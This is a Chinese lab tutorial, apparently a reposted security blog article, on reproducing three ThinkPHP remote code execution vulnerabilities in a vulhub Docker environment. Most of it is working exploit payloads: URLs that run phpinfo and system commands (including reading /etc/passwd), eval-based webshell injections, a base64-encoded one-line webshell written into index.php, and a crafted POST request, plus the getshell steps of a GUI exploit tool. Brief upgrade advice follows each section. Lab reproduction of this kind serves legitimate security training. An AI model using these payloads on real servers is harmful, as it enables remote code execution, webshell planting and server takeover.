一文教会你thinkphp漏洞挖掘

admin 2023年6月21日09:07:43评论33 views字数 2971阅读9分54秒阅读模式

攻击机:windows10

靶机:centos 7(docker搭建的vulhub靶场)

0x02 环境搭建

安装docker
yum -y install docker-ce
一文教会你thinkphp漏洞挖掘
1.启动docker服务并设置开机自启;
systemctl enable docker && systemctl start docker
一文教会你thinkphp漏洞挖掘
2.查看docker版本,验证是否安装成功;
docker --version

一文教会你thinkphp漏洞挖掘

3.安装docker-compose

sudo yum install docker-compose

一文教会你thinkphp漏洞挖掘

4.安装git

yum -y install git

一文教会你thinkphp漏洞挖掘

5.clone仓库

git clone https://github.com/vulhub/vulhub

一文教会你thinkphp漏洞挖掘

6.查看vulhub靶场

ls vulhub/

一文教会你thinkphp漏洞挖掘

7.配置阿里云镜像加速

登录阿里云:https://www.aliyun.com/搜索找到容器镜像服务点击进入
一文教会你thinkphp漏洞挖掘

进入后,最下方有个镜像加速器,查看对应版本的操作文档进行配置即可(直接将操作文档中的命令全选复制过去即可)。

0x03 漏洞复现

1.Thinkphp 2.x 任意代码执行漏洞

漏洞原理

在thinphp的类似于MVC的框架中,存在一个 Dispatcher.class.php 的文件,它规定了如何解析路由,在该文件中,存在一个函数为 static public function dispatch() ,此为URL映射控制器,是为了将URL访问的路径映射到该控制器下获取资源的,而当我们输入的URL作为变量传入时,该URL映射控制器会将变量以数组的方式获取出来,从而导致漏洞的产生。

类名为Dispatcherclass Dispatcher extends Think里面的方法有:

static public function dispatch() URL映射到控制器

public staticfunction getPathInfo() 获得服务器的PATH_INFO信息

static public function routerCheck() 路由检测

static private function parseUrl( route)

staticprivatefunctiongetModule(var) 获得实际的模块名称

static private function getGroup($var) 获得实际的分组名称

手工复现

1. 切换到vulhub靶场的2-rce目录下

cd vulhub/thinkphp/2-rce/

2. 启动docker环境

docker-compose up -d

一文教会你thinkphp漏洞挖掘

3. 查看服务端口

docker-compose ps

一文教会你thinkphp漏洞挖掘

4. 访问对应端口,例如http://192.168.221.140:8080/

一文教会你thinkphp漏洞挖掘

5. 构造poc

http://192.168.221.140:8080/?s=/Index/index/jammny/${@phpinfo()}

一文教会你thinkphp漏洞挖掘

6. 构造webshell

http://192.168.221.140:8080/index.php?s=/index/index/name/${@print(eval($_POST[123456]))}

一文教会你thinkphp漏洞挖掘

7. 连接成功

一文教会你thinkphp漏洞挖掘

修复方法

升级至最新版本

2.ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞

漏洞原理

thinkphp5.0中,控制器过滤不严,结合直接返回类名的代码操作,导致可以用命名空间的方式来调用任意类的任意方法,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。

手工复现

1. 进入5-rce目录

cd vulhub/thinkphp/5-rce/

2. 启动docker环境

docker-compose up -d

一文教会你thinkphp漏洞挖掘

3. 查看服务端口

docker-compose ps

一文教会你thinkphp漏洞挖掘

4. 访问对应端口,如http://192.168.221.140:8080/

一文教会你thinkphp漏洞挖掘

5. poc执行命令 cat /etc/passwd

http://192.168.221.140:8080/index.php? s=/Index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1] []=cat%20/etc/passwd

一文教会你thinkphp漏洞挖掘

6. 对下列命令进行base64加密

aa<?php @eval($_REQUEST['123456']) ?>bb

加密后:YWE8P3BocCBAZXZhbCgkX1JFUVVFU1RbJzEyMzQ1NiddKSA/PmJi

7.将一句话写入index.php

http://192.168.221.140:8080/index.php? s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1] []=echo%20%20%20%20%20-n%20YWE8P3BocCBAZXZhbCgkX1JFUVVFU1RbJzEyMzQ1NiddKSA/PmJi%20|%20base64%20- d%20%3E%20index.php

8. 连接一句话

一文教会你thinkphp漏洞挖掘

一文教会你thinkphp漏洞挖掘

连接成功

工具复现---thinkphpGUI

1. 将url填入指定框中

一文教会你thinkphp漏洞挖掘

2. 版本选择ThinkPHP 5.0.22/5.1.29 RCE

一文教会你thinkphp漏洞挖掘

3. 点击检测

一文教会你thinkphp漏洞挖掘

4. 点击getshell

一文教会你thinkphp漏洞挖掘

5. 选择命令执行板块, 开始执行命令

一文教会你thinkphp漏洞挖掘

执行成功

✅修复建议

升级,参考链接:https://blog.thinkphp.cn/869075
3. ThinkPHP 5.0.23 远程代码执行漏洞

✅手工复现

1. 进入5.0.23-rce目录

cd vulhub/thinphp/5.0.23-rce/

2. 启动docker环境

docker-compose up -d

一文教会你thinkphp漏洞挖掘

3. 查看服务端口

docker-compose ps

4. 访问对应端口,例如:http://192.168.221.140:8080/

一文教会你thinkphp漏洞挖掘

5. 用burp抓包,并发送poc请求包执行phpinfo

POST /index.php?s=captcha HTTP/1.1Host: 192.168.221.140:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: closeContent-Type: application/x-www-form-urlencoded Content-Length: 75 _method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1

一文教会你thinkphp漏洞挖掘

一文教会你thinkphp漏洞挖掘

执行成功

✅工具复现

1. 将url填入指定url框中

一文教会你thinkphp漏洞挖掘

2. 版本选择ThinkPHP5 5.0.23 RCE

一文教会你thinkphp漏洞挖掘

3. 点击检测键

一文教会你thinkphp漏洞挖掘

4. 点击GetShell

一文教会你thinkphp漏洞挖掘

5. 选择命令执行板块,开始执行命令

一文教会你thinkphp漏洞挖掘

执行成功

修复意见

对于这个$k 可以过滤掉所有的特殊字符,以防特殊字符的引入造成MYSQL的报错;当然最好的办法还是关闭掉debug模式。

原文始发于微信公众号(东方隐侠安全实验室):一文教会你thinkphp漏洞挖掘

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月21日09:07:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一文教会你thinkphp漏洞挖掘http://cn-sec.com/archives/1822810.html

发表评论

匿名网友 填写信息